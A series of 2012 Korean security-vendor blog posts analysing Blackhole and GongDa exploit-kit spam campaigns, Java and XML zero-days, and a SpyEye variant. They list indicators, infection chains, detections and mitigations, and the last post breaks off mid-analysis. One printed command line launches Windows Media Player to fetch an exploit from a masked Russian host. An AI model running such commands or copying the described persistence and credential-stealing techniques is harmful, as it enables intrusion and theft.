ASEC에서는 2009년부터 익스플로잇 툴킷(Web Exploit Toolkit)이라는 웹을 기반으로 하여 웹 브라우저(Web Browser)나 웹 기반 애플리케이션(Web Application)들에 존재하는 취약점들을 자동으로 악용하도록 제작된 툴킷의 위험성에 대해 언급하였다.


그리고 웹 익스플로잇 투킷의 한 종류인 블랙홀(Blackhole) 웹 익스플로잇 툴킷을 이용하여 실제 사회적 주요 이슈나 소셜 네트워크(Social Network)와 같은 일반 사람들이 관심을 가질 만한 내용들을 포함한 스팸 메일(Spam Mail)의 사회 공학(Social Engineering) 기법으로 악성코드 유포를 시도한 사례들이 다수 존재한다.


2012년 6월 - 스팸 메일과 결합된 웹 익스플로잇 툴킷


2012년 7월 - 링크드인 스팸 메일과 결합된 블랙홀 웹 익스플로잇 툴킷


2012년 8월 - 페이팔 스팸 메일과 결합된 블랙홀 웹 익스플로잇 툴킷


특히 올해 2012년 4분기에는 미국과 한국에는 대통령 선거라는 정치적인 중요한 이슈가 존재하다. 이러한 중요한 이슈를 악용하여 스팸 메일에 존재하는 악의적인 웹 사이트 링크로 유도하는 사례가 발견되었다.


이 번에 발견된 스팸 메일 사례에는 아래 이미지와 같이 미국 대통령 선거의 후보 중 한 명인 미트 롬니(Mitt Romney)가 60% 차이로 앞서고 있다는 허위 사실을 포함하여, 하단에 존재하는 웹 사이트 링크를 클릭하도록 유도하고 있다.



해당 링크를 클릭하게 될 경우에는 블랙홀 웹 익스플로잇 툴킷의 악의적인 웹 사이트로 연결되도록 설정되어 있어, 사용하는 시스템에 웹 브러우저와 웹 애플리케이션에 취약점이 존재 할 경우에는 이를 악용하여 다른 악성코드의 감염을 시도하게 된다.


이 번에 발견된 미국 대통령 선거 뉴스로 위장한 스팸 메일을 통해 유포된 악성코드들은 V3 제품 군에서 다음과 같이 진단한다. 


PDF/Exploit

Java/Cve-2012-1723

Trojan/Win32.Pakes 


현재 웹 익스플로잇 툴킷을 이용하여 다양한 악성코드를 유포 중에 있음으로 각별한 주의가 필요하다. 그리고 향후에도 미국과 한국의 대통령 선거와 관련된 사회적 중요 이슈들을 악용한 보안 위협이 발생할 가능성이 높음으로 주의가 필요하다.

저작자 표시 비영리 변경 금지
신고
Creative Commons License
Creative Commons License
Posted by 비회원

ASEC에서는 8월 29일 "오라클 자바 JRE 7 제로 데이 취약점 악용 악성코드 유포"를 통해 오라클 자바 JRE(Java Runtime Environment) 7에서 임의의 코드를 실행 할 수 있는 코드 실행 취약점(CVE-2012-4681)을 발견하였음을 공개하였다.


한국 시간으로 8월 31일 금일 자바 JRE 7에 존재하는 취약점 CVE-2012-4681을 제거 할 수 있는 보안 패치를 보안 권고문 "Oracle Security Alert for CVE-2012-4681"를 통해 공개하였다.


현재 해당 자바 JRE 7에 존재하는 취약점 CVE-2012-4681을 악용하는 JAR 파일이 공다 팩(GongDa Pack)블랙홀(Blackhole)이라 불리는 웹 익스플로잇 툴킷(Web Exploit Toolkit)을 통해 백도어 기능을 수행하는 윈도우 악성코드와 맥(Mac) 악성코드 등 지속적으로 다양한 형태의  악용 사례가 발견되고 있다.


그러므로, 오라클에서 배포 중인 해당 보안 패치를 즉시 설치하여 해당  CVE-2012-4681 취약점을 악용하는 다양한 보안 위협을 예방하는 것이 중요하다.


오라클에서 배포 중인 보안 패치를 포함한 최신 버전은 웹 사이트 "무료 Java 다운로드" 또는 "Java SE Downloads"를 통해 다운로드 가능하다.


그리고 기존 버전이 설치되어 있다면 아래와 같은 절차를 통해 자동 업데이트 및 설치가 가능하다.


1. 윈도우 제어판에서 [자바 제어판] 실행 후, 상단 [갱신] 탭을 클릭하여 [자동 갱신 확인]에 체크가 되어 있는지 확인하고 없다면 체크 하도록 한다. 그리고 하단의 [지금 갱신]을 클릭한다.



2. [자동 갱신 확인]에 체크 한 후 [지금 갱신]을 클릭하면 아래 이미지와 같이 자동 업데이트가 진행된다.



앞서 언급한 바와 같이 현재 해당 자바 JRE 7에 존재하는 취약점 CVE-2012-4681을 악용하는 사례가 존재함으로 해당 보안 패치를 즉시 설치하는 것이 중요하다.

저작자 표시 비영리 변경 금지
신고
Creative Commons License
Creative Commons License
Posted by 비회원

미국 현지 시각으로 8월 26일 보안 업체 FireEye에서 블로그 "ZERO-DAY SEASON IS NOT OVER YET"를 통해 오라클(Orcle) 자바 JRE(Java Runtime Environment) 7에서 임의의 코드를 실행 할 수 있는 코드 실행 취약점(CVE-2012-4681)을 발견하였음을 공개하였다.


현재 해당 자바 JRE 취약점은 개발 업체인 오라클에서 해당 보안 취약점을 제거할 수 있는 보안 패치를 제공하지 않고 있는 제로 데이(Zero-Day, 0-Day) 취약점으로 각별한 주의가 필요하다.


이 번에 발견된 자바 JRE 관련 제로 데이 취약점은 다음 버전의 소프트웨어에서 악용이 가능하다.


Oracle Java 7 (1.7, 1.7.0)

Java Platform Standard Edition 7 (Java SE 7)

Java SE Development Kit (JDK 7)

Java SE Runtime Environment (JRE 7)


해당 자바 JRE 관련 취약점은 최초 아래 이미지와 같이 중국에서 제작된 공다 팩(GongDa Pack)이라 불리는 웹 익스플로잇 툴킷(Web Exploit Toolkit)에서 사용되는 스크립트 악성코드를 통해 유포되었으며, 최초 유포지는 대만에 위치한 특정 시스템이다.



이 번 자바 JRE 취약점 악용을 위해 유포된 공다 팩에서 사용되는 스크립트를 디코딩 하게 되면 스크립트가 유포된 동일한 시스템에 존재하는 Appelt.jar (7,855 바이트)와 hi.exe (16,896 바이트)가 다운로드 되도록 제작되었다.


다운로드 된 Appelt.jar (7,855 바이트) 내부에는 아래 이미지와 같이 해당 CVE-2012-4681 취약점을 직접적으로 악용하도록 제작되어 있는 클래스(Class) 파일인 App.class (7,231 바이트)가 포함되어 있다.



해당 자바 JRE 취약점(CVE-2012-4681)으로 인해 실행되는 hi.exe (16,896 바이트)는 최초 실행이 되면 윈도우 시스템 폴더(C:\WINDOWS\system32\)에 mspmsnsv.dll (10,240 바이트) 파일을 생성하게 된다.


C:\WINDOWS\system32\mspmsnsv.dll 


그리고 윈도우 시스템에 존재하는 정상 프로세스인 svchost.exe를 실행하여 해당 프로세스의 스레드로 생성한 mspmsnsv.dll (10,240 바이트)을 인젝션하게 된다.


인젝션이 성공하게 되면 특정 도메인명을 가진 C&C 서버와 통신을 시도하나 분석 당시에는 정상적인 접속이 이루어지지 않았다. 정상적으로 접속이 성공하게 되면 원격 제어 등의 공격자가 의도하는 백도어 기능을 수행하게 된다.


추가적으로 핀란드 보안 업체 F-Secure에서는 블로그 "Blackhole: Faster than the speed of patch"를 통해 블랙홀 웹 익스플로잇 툴 킷(Blackhole Web Exploit Toolkit)을 통해서도 유포 중에 있는 것으로 공개하였다.


ASEC에서 이와 관련한 추가 정보들을 확인하는 과정에서 사회 공학 기법을 악용한 이메일을 통해 최소 약 300개의 도메인을 이용해  유포 중인 것으로 파악하였다.


현재 블랙홀 웹 익스플로잇 툴 킷을 통해 유포 중인 CVE-2012-4681 취약점을 악용하는 JAR 파일은 Pre.jar (31,044 바이트)Leh.jar (31,044 바이트) 파일명으로 유포 중이나 2개 모두 동일한 파일이다. 그러나 현재 언더그라운드에서는 해당 취약점을 악용 가능한 PoC(Proof of Concept)가 공개되어 있음으로 다양한 변형들이 지속적으로 유포될 것으로 예측된다.


이 번에 발견된 자바 JRE 7에서 임의의 코드를 실행 할 수 있는 코드 실행 취약점(CVE-2012-4681)을 악용하는 악성코드들 모두 V3 제품 군에서 다음과 같이 진단한다.


JS/Downloader

JAVA/CVE-2012-4681

JS/Blacole

Win-Trojan/Poison.16898 

Win-Trojan/Buzus.153447

Trojan/Win32.Npkon


그리고 네트워크 보안 장비인 트러스가드(TrusGuard) 제품군에서는 해당 취약점을 악용한 공다 팩 스크립트 악성코드와 취약한 클래스 파일을 포함한 JAR 파일을 다음과 같이 탐지 및 차단이 가능하다.


javascript_malicious_gongda-2(HTTP)

java_malicious_jar-8(HTTP)

java_malicious_jar-gd(HTTP)


앞서 언급한 바와 같이 현재 자바 JRE에서 발견된 취약점은 제로데이 취약점으로 자바 개발 업체인 오라클에서 보안 패치를 제공하지 않고 있다.


이와 관련하여 US-CERT에서는 보안 권고문 "Oracle Java JRE 1.7 Expression.execute() and SunToolkit.getField() fail to restrict access to privileged code" 을 통해 아래와 같은 사항들을 임시 방안으로 권고하고 있다.


* 자바 플러그인 비활성화


- 파이어폭스 (Firefox)

파이어폭스 실행 후 상단의 [도구]->[부가 기능]을 클릭한다. 그 중에서 "플러그인"을 선택 후 자바 관련 플러그인들을 "사용안함"으로 설정한다.


- 사파리(Safari)

[기본 설정]을 클릭후 [보안]을 선택한다. 그리고 "Java 활성화"에 체크 마크를 해제한다.



- 크롬(Chrome)

크롬을 실행 후 주소 창에 "chrome://plugins/"을 입력한 후, "JAVA Plug-in"을 사용 중지한다.


- 인터넷 익스플로러(Internet Explorer)

윈도우 제어판을 실행 훈 "Java 제어판" -> [고급]을 선택 한 후 [브라우저용 기본 Java]에서 [Microsoft Internet Explorer]에 체크 마크를 해제한다.



앞서 언급한 바와 같이 현재 해당 취약점은 보안 패치가 제공되지 않는 제로 데이 취약점임으로 각별한 주의가 필요하다. 그리고 언더그라운드에는 이미 해당 취약점을 악용 할 수 있는 PoC 코드가 공개 되었음으로 다양한 보안 위협에서 해당 취약점을 악용 할 가능성이 높을 것으로 예측 된다.

저작자 표시 비영리 변경 금지
신고
Creative Commons License
Creative Commons License
Posted by 비회원

최근 들어 웹 익스플로잇 툴킷(Web Exploit Toolkit)의 일종인 블랙홀(Blackhole) 웹 익스플로잇 툴킷이 스팸 메일(Spam Mail)과 결합되어 유포되는 현상들이 자주 발견되고 있다.


최근 발견된 블랙홀 웹 익스플로잇 툴킷과 스팸 메일이 결합되어 유포된 사례들은 다음을 들 수가 있다.


2012년 6월 - 스팸 메일과 결합된 웹 익스플로잇 툴킷


2012년 7월 - 링크드인 스팸 메일과 결합된 블랙홀 웹 익스플로잇 툴킷


금일 블랙홀 웹 익스플로잇 툴 킷과 결합된 스팸 메일이 다시 발견되었으며, 이 번에 발견된 스팸 메일은 인터넷을 이용한 현금 결제 서비스인 페이팔(PayPal)의 결제 결과 안내 메일로 위장하여 유포되었다.


이 번에 발견된 페이팔 스팸 메일과 결합된 형태로 유포된 블랙홀 웹 익스플로잇 툴킷은 아래 이미지와 같이 다양한 취약점들을 악용하고 있으며 최종적으로 감염된 PC에서 사용자 정보들을 탈취하기 위한 악성코드 감염을 목적으로 하고 있다.



페이팔 결제 안내 메일로 위장해 유포된 스팸 메일은 아래 이미지와 같은 형태를 가지고 있으며, [Accept] 부분은 정상적인 페이팔 웹 페이지로 연결되는 것이 아니라 미국에 위치한 특정 시스템으로 연결되도록 구성되어 있다.



해당 [Accept] 부분을 클릭하게 되면 미국에 위치한 특정 시스템으로 접속하며, PC 사용자에게는 아래와 같은 이미지를 보여주게 된다.



그러나 실제 해당 웹 페이지 하단에는 아래 이미지와 같이 다른 말레이시아에 위치한 시스템으로 연결되는 자바 스크립트 코드가 인코딩 되어 있다.



해당 자바 스크립트 코드를 디코딩하게 되면 기존 블랙홀 익스플로잇 툴킷과 동일한 포맷의 iFrame 으로 처리된 코드가 나타나며, 사용자 모르게 말레이시아에 위치한 블랙홀 웹 익스플로잇 툴킷이 설치되어 있는 시스템으로 연결하게 된다.


그리고 해당 블랙홀 익스플로잇 툴킷에서는 아래의 취약점들 중 하나를 악용하게 된다.



해당 취약점이 성공적으로 악용되면 동일한 시스템에 존재하는 64b3bcf.exe (84,480 바이트)를 다운로드하여 wpbt0.dll (84,480 바이트) 명칭으로 생성하게 된다.


C:\Documents and Settings\[사용자 계정]\Local Settings\Temp\wpbt0.dll


그리고 생성된 wpbt0.dll (84,480 바이트) 는 다시 자신의 복사본을 아래 경로에 KB01458289.exe   (84,480 바이트) 명칭으로 복사하게 된다.


C:\Documents and Settings\[사용자 계정]\Application Data\KB01458289.exe


감염된 PC의 레지스트리에 다음 키 값을 생성하여 PC가 재부팅 할 때마다 자동 실행 되도록 구성하였다.


HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\

KB01458289.exe = C:\Documents and Settings\[사용자 계정]\Application Data\KB01458289.exe


그리고 감염된 PC에서 실행 중인 explorer.exe 정상 프로세스의 스레드로 자신의 코드를 삽입한 후 다음의 정보들을 후킹하게 된다.

웹 사이트 접속 정보
FTP 시스템 접속 사용자 계정과 비밀 번호 정보
POP3 이용 프로그램 사용자 계정과 비밀 번호 정보
웹 폼 변조(Formgrabber) 및 웹 폼 인젝션 (httpinjects)으로 웹 사이트 사용자 계정과 암호 정보

마지막으로 감염된 PC 사용자에게는 구글 메인 웹 페이지로 연결하여 정상적인 접속이 실패한 것으로 위장하게 된다.

이 번에 발견된 페이팔 스팸 메일과 결합된 블랙홀 웹 익스플로잇 툴킷에서 유포한 악성코드들은 V3 제품군에서 모두 다음과 같이 진단한다.

JS/Iframe
JS/Redirect
PDF/Cve-2010-0188
Win-Trojan/Agent.84480.HA

페이팔 스팸 메일과 결합된 블랙홀 웹 익스플로잇 툴킷에서 유포를 시도한 악성코드는 기존에 발견된 온라인 뱅킹 정보 탈취를 목적으로하는 제우스(Zeus) 또는 스파이아이(SpyEye)와 유사한 웹 폼 변조(Formgrabber) 및 웹 폼 인젝션 (httpinjects) 기능으로 웹 사이트 사용자 계정과 암호 정보를 탈취 할 수 있다.

이는 악성코드 유포자가 의도하는 대부분의 웹 사이트들에서 사용자 계정과 비밀 번호 정보를 탈취 할 수 있음으로, 단순 스팸 메일로 판단되더라도 송신자가 불명확한 메일에 포함된 웹 사이트 연결 링크를 클릭하지 않는 주의가 필요하다.

저작자 표시 비영리 변경 금지
신고
Creative Commons License
Creative Commons License
Posted by 비회원

ASEC에서는 6월 5일 웹 익스플로잇 툴킷(Web Exploit Toolkit)의 일종인 블랙홀(Blackhole) 웹 익스플로잇 툴 킷이 스팸 메일(Spam Mail)과 결합되어 유포되었다는 사실을 밝힌 바가 있다.


금일 블랙홀 웹 익스플로잇 툴 킷과 결합된 스팸 메일이 다시 발견되었으며, 이 번에 발견된 스팸 메일은 사용자가 많은 유명 소셜 네트워크(Social Network) 서비스인 링크드인(LinkedIn)의 초대 메일로 위장하여 유포되었다.


이 번에 발견된 링크드인 스팸 메일과 결합된 형태로 유포된 블랙홀 웹 익스플로잇 툴킷은 아래 이미지와 같이 다양한 취약점들을 악용하고 있으며 최종적으로 감염된 PC에서 사용자 정보들을 탈취하기 위한 악성코드 감염을 목적으로 하고 있다.



링크드인의 초대 메일로 위장해 유포된 스팸 메일은 아래 이미지와 같은 형태를 가지고 있으며, [Accept] 부분은 정상적인 링크드인 웹 페이지로 연결되는 것이 아니라 중국에 위치한 특정 시스템으로 연결되도록 구성되어 있다.



해당 [Accept] 부분을 클릭하게 되면 중국에 위치한 특정 시스템으로 접속하며, PC 사용자에게는 아래와 같은 이미지를 보여주게 된다.



그러나 실제 해당 웹 페이지 하단에는 아래 이미지와 같이 웹 페이지 하단에는 다른 러시아에 위치한 시스템으로 연결되는 자바 스크립트 코드가 인코딩 되어 있다.



해당 자바 스크립트 코드를 디코딩하게 되면 아래 이미지와 같이 iFrame 으로 처리된 코드가 나타나며, 사용자 모르게 러시아에 위치한 블랙홀 웹 익스플로잇 툴킷이 설치되어 있는 시스템으로 연결하게 된다.



해당 블랙홀 웹 익스플로잇 툴킷에 성공적으로 연결하게 되면 웹 브라우저에 의해 CMD 명령으로 윈도우 미디어 플레이(Windows Media Player) 취약점을 악용하기 위한 시도를 하게 된다. 그러나 분석 당시 해당 취약점은 정상적으로 악용되지 않았다.


"C:\Program Files\Windows Media Player\wmplayer.exe" /open http://************.ru:8080/forum/data/hcp_asx.php?f=182b5"


그리고 두 번째로 자바(JAVA)와 인터넷 익스플로러(Internet Explorer)에 존재하는 알려진 취약점을 악용하기 위한 스크립트 파일이 실행된다.



세 번째로 어도비 아크로뱃 리더(Adobe Acrobat Reader)에 존재하는 알려진 취약점을 악용하기 위한 PDF 파일을 아래 이미지와 같이 다운로드 후 실행 하게 된다.



해당 링크드인 스팸 메일을 수신한 PC에 위에서 언급한 4개의 취약점 중 하나라도 존재 할 경우에는 동일한 시스템에서 wpbt0.dll (127,648 바이트)를 다운로드하여 다음 경로에 생성하게 된다.


C:\Documents and Settings\Tester\Local Settings\Temp\wpbt0.dll


그리고 생성된 wpbt0.dll (127,648 바이트) 는 다시 자신의 복사본을 아래 경로에 KB01458289.exe (127,648 바이트)라를 명칭으로 복사하게 된다.


C:\Documents and Settings\Tester\Application Data\KB01458289.exe


감염된 PC의 레지스트리에 다음 키 값을 생성하여 PC가 재부팅 할 때마다 자동 실행 되도록 구성하였다.


HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\

KB01458289.exe = C:\Documents and Settings\Tester\Application Data\KB01458289.exe


그리고 감염된 PC에서 실행 중인 모든 정상 프로세스의 스레드로 자신의 코드 일부분을 삽입한 후 다음의 정보들을 후킹하게 된다.


웹 사이트 접속 정보

FTP 시스템 접속 사용자 계정과 비밀 번호 정보

POP3 이용 프로그램 사용자 계정과 비밀 번호 정보

웹 폼 변조(Formgrabber) 및 웹 폼 인젝션 (httpinjects)으로 웹 사이트 사용자 계정과 암호 정보


감염된 PC에서 수집된 정보들 모두는 아래 이미지와 같이 악성코드 내부에 하드코딩 되어 있는 특정 시스템들으로 후킹한 데이터들 전부를 인코딩하여 전송하게 된다.



그리고 마지막으로 감염된 PC 사용자에게는 아래 웹 페이지와 같이 연결을 시도한 웹 페이지를 보여주어 정상적인 접속이 실패한 것으로 위장하게 된다.



이 번에 발견된 링크드인 스팸 메일과 결합된 블랙홀 웹 익스플로잇 툴킷에서 유포한 악성코드들은 V3 제품군에서 모두 다음과 같이 진단한다.


JS/Iframe

Packed/Win32.Krap

PDF/Exploit
JS/Exploit

링크드인 스팸 메일과 결합된 블랙홀 웹 익스플로잇 툴킷에서 유포를 시도한 악성코드는 기존에 발견된 온라인 뱅킹 정보 탈취를 목적으로하는 제우스(Zeus) 또는 스파이아이(SpyEye)와 유사한 웹 폼 변조(Formgrabber) 및 웹 폼 인젝션 (httpinjects) 기능으로 웹 사이트 사용자 계정과 암호 정보를 탈취 할 수 있다.


이는 악성코드 유포자가 의도하는 대부분의 웹 사이트들에서 사용자 계정과 비밀 번호 정보를 탈취 할 수 있음으로, 단순 스팸 메일로 판단되더라도 송신자가 불명확한 메일에 포함된 웹 사이트 연결 링크를 클릭하지 않는 주의가 필요하다.

저작자 표시
신고
Creative Commons License
Creative Commons License
Posted by 비회원

ASEC에서는 6월 26일 현재까지도 제로 데이(Zero Day, 0-Day) 취약점인 XML 코어 서비스 취약점(CVE-2012-1889)을 악용한 공격 사례들이 발생하고 있다고 공유한 바가 있다.


금일 해당 XML 코어 서비스 취약점을 악용한 다른 형태의 공격 사례가 발견되었으며, 해당 공격 사례는 XML 코어 서비스 뿐 만이 아니라 자바(JAVA)와 어도비 플래쉬(Adobe Flash) 취약점까지도 같이 악용하고 있는 것으로 파악되었다.


이 번에 발견된 XML 코어 서비스 취약점을 악용한 사례는 블랙홀(Blackhole)과 같은 웹 익스플로잇 툴킷(Web Exploit Toolkit) 형태로 스크립트 악성코드들을 기능별로 분류하여 단계적으로 취약점을 악용하도록 하고 있다.


이러한 단계적으로 취약점을 악용한 공격 형태는 아래 이미지와 같은 전체적인 구조를 가지고 있어, 일부 스크립트들만 분석하여서는 전체적인 공격 및 취약점 형태를 파악하기 어렵도록 하고 있다.



현재 해당 XML 코어 서비스 취약점 등을 악용한 공격 형태는 SQL 인젝션(Injection) 공격 기법 등으로 취약한 웹 페이지의 하단에 Exploit.html 웹 페이지로 연결되는 아이프레임(iFrame) 코드를 삽입하여, 웹 사이트 방문자 모르게 아래의 취약점들 중 하나가 자동으로 악용되도록 구성되어 있다.



해당 취약점들이 정상적으로 동작하게 될 경우에는 중국에 위치한 특정 시스템으로부터 win.exe (30,720 바이트)의 파일이 다운로드 및 실행하게 된다.


해당 win.exe (30,720 바이트) 파일은 XOR로 인코딩(Encoding) 되어 있는 파일로 이를 디코딩하게 되면 비주얼 C++(Visual C++)로 제작된 실행가능한 PE 파일이 생성된다.


다운로드 된 win.exe (30,720 바이트) 파일이 정상적으로 디코딩(Decoding) 된 이후에 실행되면, 다음의 배치(BAT) 파일들과 텍스트(TXT) 파일을 순차적으로 생성하게 된다.


C:\4.bat (66 바이트)

C:\2.txt (100 바이트)

C:\3.bat (15 바이트)


win.exe (30,720 바이트) 파일에 의해 생성된 4.bat (66 바이트)는 시스템 공유 폴더와 윈도우 방화벽을 강제로 종료하게 된다. 


그리고 2.txt는 미국에 위치한 특정 FTP 서버로 접속하는 정보들이 기록되어 있으며, 3.bat (15 바이트)는 해당 FTP 정보들을 바탕으로 커맨드라인(Command-Line) 명령으로 접속을 시도하는 역할을 하게 된다.


FTP 접속 정보들은 아래 이미지와 같이 win.exe (30,720 바이트) 파일 내부에 하드코딩되어 있는 상태로 기록되어 있다.



그러나 분석 당시에는 해당 FTP 서버로 정상적인 접속이 이루어지지 않았으며, 정상적인 접속이 이루어지게 될 경우에는 감염된 시스템에 설치되어 있는 보안 제품 정보들을 전송할 것으로 추정된다.


해당 XML 코어 서비스와 다른 취약점들을 악용한 악성코드들은 2012.06.28.05 엔진 버전 이후의 V3 제품군에서 모두 다음과 같이 진단한다.


JS/CVE-2012-1889 

HTML/Downloader

SWF/CVE-2011-0611

JS/Downloader

JS/Redirect

JS/Redirector 

Win-Trojan/Yolped.73728 


이 번에 발견된 XML 코어 서비스 취약점을 악용하는 공격 사례는 앞선 언급한 바와 같이 SQL 인젝션과 같은 공격 기법으로 취약한 웹 사이트를 대상으로 이루어짐으로 웹 사이트 방문시 각별한 주의가 필요하다.


현재 해당 XML 코어 서비스 취약점에 대한 보안 패치가 아직 제공되지 않지만, 마이크로소프트(Microsoft)에서는 임시 방안으로 픽스잇(Fix It)을 공개 중임으로 이를 설치하는 것이 중요하다.


그리고 다른 일반 어플리케이션들의 취약점들도 동반하고 있음으로 평소 자주 사용하는 어플리케이션들의 보안 패치를 설치하는 것도 중요하다.


저작자 표시
신고
Creative Commons License
Creative Commons License
Posted by 비회원

이메일에 첨부되어 스팸 메일(Spam Mail)처럼 유포되는 악성코드들은 대부분이 ZIP으로 압축된 EXE 파일이 첨부되거나 EXE 또는 SCR 등의 파일 확장자를 가진 첨부 파일 형태로 유포되는 것이 일반적이다.


그러나 최근에 와서는 이메일 본문에 단축 URL(URL Shortening) 또는 하이퍼 링크를 제공하여, 특정 악성코드를 유포하는 웹 사이트 또는 피싱(Phishing) 웹 사이트로 연결을 유도하는 형태들도 발견되고 있다.


금일 새벽 국내에 유명 IT 업체인 HP를 사칭하여 악성코드 감염을 유도하는 악의적인 스팸 메일들이 대량으로 유포되었다.


이번에 유포된 악성코드 감염을 목적으로하는 악의적인 스팸 메일은 다음과 같은 형태를 가지고 있다.


* 메일 제목 - 다음 중 하나

Scan from a HP ScanJet #[임의의 숫자열] 

Scan from a Hewlett-Packard ScanJet #[임의의 숫자열]

Scan from a Hewlett-Packard ScanJet [임의의 숫자열]


* 메일 본문

Attached document was scanned and sent


to you using a Hewlett-Packard HP Officejet 1178P.

Sent by: SHAVON

Images : 1

Attachment Type: .HTM [INTERNET EXPLORER]


Hewlett-Packard Officejet Location: machine location not set

Device: [임의의 숫자열]


* 첨부 파일

HP_Doc_06.04-[임의의 숫자열].htm


이 번에 발견된 스팸 메일은 과거의 악성코드를 유포를 목적으로하는 다른 형태의 악의적인 스팸 메일들과는 다른 특징을 보이고 있다. 


해당 스팸 메일은 웹을 기반으로하여 일반 응용프로그램들의 취약점을 악용하는 웹 익스플로잇 툴킷(Web Exploit Toolkit)과 결합하여 다양한 취약점들을 동시에 악용하는 특징을 보이고 있다.


이러한 웹 익스플로잇 툴킷과 결합된 스팸 메일의 전체적인 구조를 도식화하게 되면 아래 이미지와 동일하다.



첨부되어 있는 htm 파일을 실행하게 될 경우에는 웹 브라우저에서는 아래 이미지와 같이 웹 사이트 접속에 잠시 장애가 있는 것으로 위장하고 있다.



그러나 실제 해당 스크립트 파일을 편집기 등으로 확인을 하게 되면, 아래 이미지와 같은 스크립트 코드가 하단에 존재하는 것을 볼 수 있다.



하단에 포함된 스크립트 코드를 디코딩하게 되면 아래 이미지와 같이 러시아에 위치한 시스템으로 접속을 하는 코드가 포함되어 있다.


해당 스크립트 코드가 실제 웹 브라우저에 의해 실행되면 아래 이미지와 같이 러시아에 위치한 특정 시스템으로 연결되도록 구성되어 있으며, 해당 시스템은 웹 익스플로잇 툴킷의 한 형태인 블랙홀 익스플로잇 툴킷(Blackhole Exploit Toolkit)이 설치 되어 있다.



해당 시스템에서는 최초 아래 이미지와 같이 마이크로소프트 인터넷 익스플로러(Microsoft Internet Explorer)에 존재하는 MS06-014 MDAC(Microsoft Data Access Components) 기능의 취약점으로 인한 원격 코드 실행 문제점 (911562) 취약점을 악용하는 스크립트 코드를 전송하게 된다.



그 다음으로는 어도비 아크로뱃 리더(Adobe Acrobat Reader)에 존재하는 Security updates available for Adobe Reader and Acrobat CVE-2010-0188 취약점을 악용하는 PDF 파일을 전송하게 된다.



마지막으로는 자바 애플렛(Java Applet)에 존재하는 Oracle Java SE Critical Patch Update Advisory CVE-2012-0507 취약점을 악용하는 JAR 파일을 전송하게 된다.


위에서 언급한 3가지의 취약점 모두가 정상적으로 악용되지 않을 경우에는 정상 구글(Google) 메인 페이지로 연결하게 된다.



그러나 위 3가지 취약점 중 하나라도 정상적으로 악용될 경우에는 아래 이미지와 같이 동일한 시스템에 존재하는 info.exe (86,016 바이트) 파일을 다운로드하고 실행하게 된다.



해당 익스플로잇 3가지로 인해 다운로드 된 info.exe 파일이 실행되게 되면 윈도우 시스템에 존재하는 정상 explorer.exe 프로세스의 메모리 영역에 자신의 코드를 삽입하게 된다.



자신의 코드가 정상적으로 삽입되면,다음과 같은 경로에 자신의 복사본을 생성하게 된다.


C:\Documents and Settings\[사용자 계정명]\Application Data\KB01458289.exe


그리고 윈도우 시스템이 재실행이 되더라도 자동 실행 되도록 레지스트리(Registry)에 다음의 키를 생성하게 된다.


HKCU\Software\Microsoft\Windows\CurrentVersion\Run 

KB01458289.exe = ""C:\Documents and Settings\[사용자 계정명]\Application Data\KB01458289.exe""


해당 악성코드는 아래 이미지와 같이 내부에 하드코딩 되어 있는 C&C 서버와 암호화된 SSL(Secure Socket Layer) 통신을 시도하게 된다.



정상적으로 접속이 성공하게 될 경우에는 아래 이미지와 같이 암호화 된 데이터를 통신하게 된다.



그리고 공격자의 명령에 따라 인터넷 익스플로러와 파이어폭스(Firefox) 웹 브라우저가 접속을 시도하는 웹 사이트를 모니터링하고, 관련 정보들을 외부로 유출하게 된다.


이 번에 발견된 HP를 사칭하여 악성코드 감염을 목적으로한 악의적인 스팸 메일은 일반 응용프로그램의 취약점을 악용하는 웹 익스플로잇 툴킷과 결합된 형태이다.


이메일 수신인과 관련이 없는 의심스럽거나 수상한 스팸 메일들을 받게되면 메일 자체를 삭제하고, 첨부된 파일은 어떠한 형태라도 실행하지 않는 주의가 필요하다.


그리고 평소 자주 사용하는 응용 프로그램들은 윈도우 보안 패치와 함께 주기적으로 설치하여, 이러한 일반 응용 프로그램들의 취약점을 악용하는 악성코드 감염을 주의하도록한다.


해당 HP를 사칭한 스팸 메일을 통해 감염을 시도하는 악성코드들은 모두 V3 제품군에서 다음과 같이 진단한다.


JS/Iframe

JS/CVE-2006-0003

PDF/CVE-2010-0188

Win-Trojan/Infostealer.86016.F 

Win-Trojan/Downloader.86016.JU

저작자 표시
신고
Creative Commons License
Creative Commons License
Posted by 비회원

ASEC에서는 4월 4일 온라인 뱅킹 정보 탈취를 위해 제작된 스파이아이(SpyEye) 트로이목마가 이제는 온라인 뱅킹외에 다양한 국가에 위치한 다양한 산업군의 웹 사이트들에서 사용자 계정 정보들의 탈취를 노린다는 정보를 전달한 바가 있다.


이러한 스파이아이 트로이목마가 감염 형태가 기존에 발견되었던 스파이아이 변형들과 다른 새로운 형태의 스파이아이 변형이 발견되었다.


이 번에 발견된 스파아이 트로이목마는 전체적인 동작면에서는 기본적으로 동일한 것으로 미루어 현재까지 언더그라운드에 공개된 다양한 온라인 뱅킹 정보 탈취 트로이목마들의 소스코드 중 스파이아이의 소스코드를 사용된 것으로 추정된다.


추가적으로 ASEC에서는 2012년 5월 중순부터 해당 새로운 스파이아이 트로이목마 변형이 유포되기 시작한 것으로 추정되며, 그리고 웹 익스플로잇 툴킷(Web Exploit Toolkit)의 한 종류인 블랙홀 익스플로잇 툴킷(Blackhole Exploit Toolkit)에 의해 유포된 것으로 추정하고 있다.


해당 스파이아이 트로이목마에 감염되면 감염된 시스템에서 실행 중인 정상 윈도우 시스템 파일 explorer.exe의 프라이빗 메모리(Private Memory) 영역에 자신의 코드 16,384 바이트를 삽입하게 된다.



정상적으로 explorer.exe의 메모리 영역에 자신의코드가 삽입되면 자신의 복사본을 다음 경로에 설정 파일과 함께 생성하나, 기존 스파이아이 변형들처럼 유저 모드(User Mode)의 은폐 기능을 수행하지는 않는다.


C:\Documents and Settings\All Users\Application Data\default\bin.exe


다음 레지스트리 키(Registry Key)를 생성하여 윈도우 시스템이 재부팅되어도 자동 실행되도록 구성한다.


HKCU\Software\Microsoft\Windows\CurrentVersion\Run\default

"C:\Documents and Settings\All Users\Application Data\default\bin.exe"


그리고 독일에 위치한 C&C 서버와 암호화된 통신을 통하여 별도의 설정 파일인 web.dat을 아래의 경로에 생성하게 된다.


C:\Documents and Settings\All Users\Application Data\default\web.dat 

C:\Documents and Settings\All Users\Application Data\default\cfg.dat


